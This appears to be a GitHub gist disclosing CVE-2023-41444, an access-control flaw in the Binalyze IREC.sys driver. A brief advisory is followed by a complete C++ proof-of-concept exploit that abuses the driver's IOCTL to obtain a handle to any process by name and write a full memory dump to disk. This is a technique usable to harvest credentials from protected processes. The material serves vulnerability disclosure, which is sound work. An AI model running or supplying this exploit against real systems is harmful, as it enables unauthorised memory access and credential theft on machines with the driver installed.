Skip to content

Instantly share code, notes, and snippets.

@dru1d-foofus
Last active November 30, 2023 04:55
Show Gist options
  • Star 8 You must be signed in to star a gist
  • Fork 6 You must be signed in to fork a gist
  • Save dru1d-foofus/1af21179f253879f101c3a8d4f718bf0 to your computer and use it in GitHub Desktop.
Save dru1d-foofus/1af21179f253879f101c3a8d4f718bf0 to your computer and use it in GitHub Desktop.
CVE-2023-41444 - IREC.sys Vulnerability

CVE-2023-41444 - Binalyze IREC.sys Vulnerable Driver

Credits

Mike Alfaro (@_mmpte_software) and Tyler Booth (@tyler_dru1d)

Description

An issue in Binalyze IREC.sys v.3.11.0 and before allows a local attacker to execute arbitrary code and escalate privileges due to an improper DACL being applied to the device the driver creates.

Vulnerability Type

Incorrect Acess Control

Affected Products

IREC.sys < Version 3.11.0

References

#include <windows.h>
#include <iostream>
#include <dbghelp.h>
#include <TlHelp32.h>
#define IOCTL_BASE 0x80012008
constexpr DWORD IREC_IOCTL(DWORD x) { return IOCTL_BASE + x; }
#define IOTCL_IREC_OPEN_PROCESS IREC_IOCTL( 0x20 )
static const char* DeviceName = R"(\\.\IREC)";
typedef struct _IREC_OPEN_PROCESS {
DWORD pid;
} IREC_OPEN_PROCESS, * PIREC_OPEN_PROCESS;
DWORD GetProcessIdByName(const std::wstring & processName) {
HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pEntry;
pEntry.dwSize = sizeof(pEntry);
BOOL hRes = Process32First(hSnapShot, &pEntry);
while (hRes) {
if (wcscmp(pEntry.szExeFile, processName.c_str()) == 0) {
CloseHandle(hSnapShot);
return pEntry.th32ProcessID;
}
hRes = Process32Next(hSnapShot, &pEntry);
}
CloseHandle(hSnapShot);
return 0; // If process is not found return 0
}
std::wstring StringToWString(const std::string & s) {
int len;
int slength = (int)s.length() + 1;
len = MultiByteToWideChar(CP_ACP, 0, s.c_str(), slength, 0, 0);
wchar_t* buf = new wchar_t[len];
MultiByteToWideChar(CP_ACP, 0, s.c_str(), slength, buf, len);
std::wstring r(buf);
delete[] buf;
return r;
}
constexpr DWORD cexpr_lstrlenW(const wchar_t str[]) {
DWORD i = 0;
while (str[i++]) {}
return i;
}
void DumpProcess(const std::string & processName, const std::string & dumpFilePath) {
std::wstring wideProcessName = StringToWString(processName);
HANDLE hDevice = INVALID_HANDLE_VALUE;
BOOL bResult = FALSE;
BOOL bDumpResult = FALSE;
HANDLE hProcess = NULL;
DWORD dwBytesReturned;
DWORD processId = GetProcessIdByName(wideProcessName); // Replace with actual function to get PID from process name
hDevice = CreateFileA(DeviceName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice == NULL) {
printf("Failed to open device.\n");
return;
}
IREC_OPEN_PROCESS openProcess;
openProcess.pid = processId;
bResult = DeviceIoControl(hDevice, IOTCL_IREC_OPEN_PROCESS, &openProcess, sizeof(DWORD), &openProcess, sizeof(HANDLE), &dwBytesReturned, NULL);
if (!bResult) {
printf("DeviceIoControl failed with error: %d\n", GetLastError());
return;
}
hProcess = (HANDLE)openProcess.pid;
processId = GetProcessId(hProcess);
if (processId == 0) {
printf("Failed to get process ID. Error: %lu\n", GetLastError());
return;
}
printf("[*] %s Process ID: %lu\n", processName.c_str(), processId);
if (!hProcess || hProcess == INVALID_HANDLE_VALUE) {
printf("Invalid process handle: %p\n", hProcess);
return;
}
HANDLE hFile = CreateFileA(dumpFilePath.c_str(), GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
DWORD dwError = GetLastError();
printf("CreateFileA failed with error: %lu\n", dwError);
return;
}
bDumpResult = MiniDumpWriteDump(hProcess, 0, hFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
if (!bDumpResult) {
DWORD dwError = GetLastError();
printf("Dump failed with error: %lu\n" + dwError);
}
else {
printf("[*] Dump succeeded.\n");
}
CloseHandle(hProcess);
CloseHandle(hFile);
}
void ShowHelp() {
printf("Usage: program [command] [arguments]\n");
printf("Here are the available commands:\n");
printf("\tdump <process name> <file path>: Dump a process memory into a file.\n");
printf("\t\tExample: IREC-PoC.exe dump process.exe C:\\temp\\dumpfile.dmp\n");
printf("If no command is provided, the help menu will be displayed.\n");
}
int main(int argc, char* argv[]) {
if (argc < 2) {
ShowHelp();
return -1;
}
std::string command = argv[1];
if (command == "dump") {
if (argc < 4) {
printf("Please provide a process name and a dump file path with the dump command.\n");
return -1;
}
std::string processName = argv[2];
std::string dumpFilePath = argv[3];
DumpProcess(processName, dumpFilePath);
}
else {
ShowHelp();
return -1;
}
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment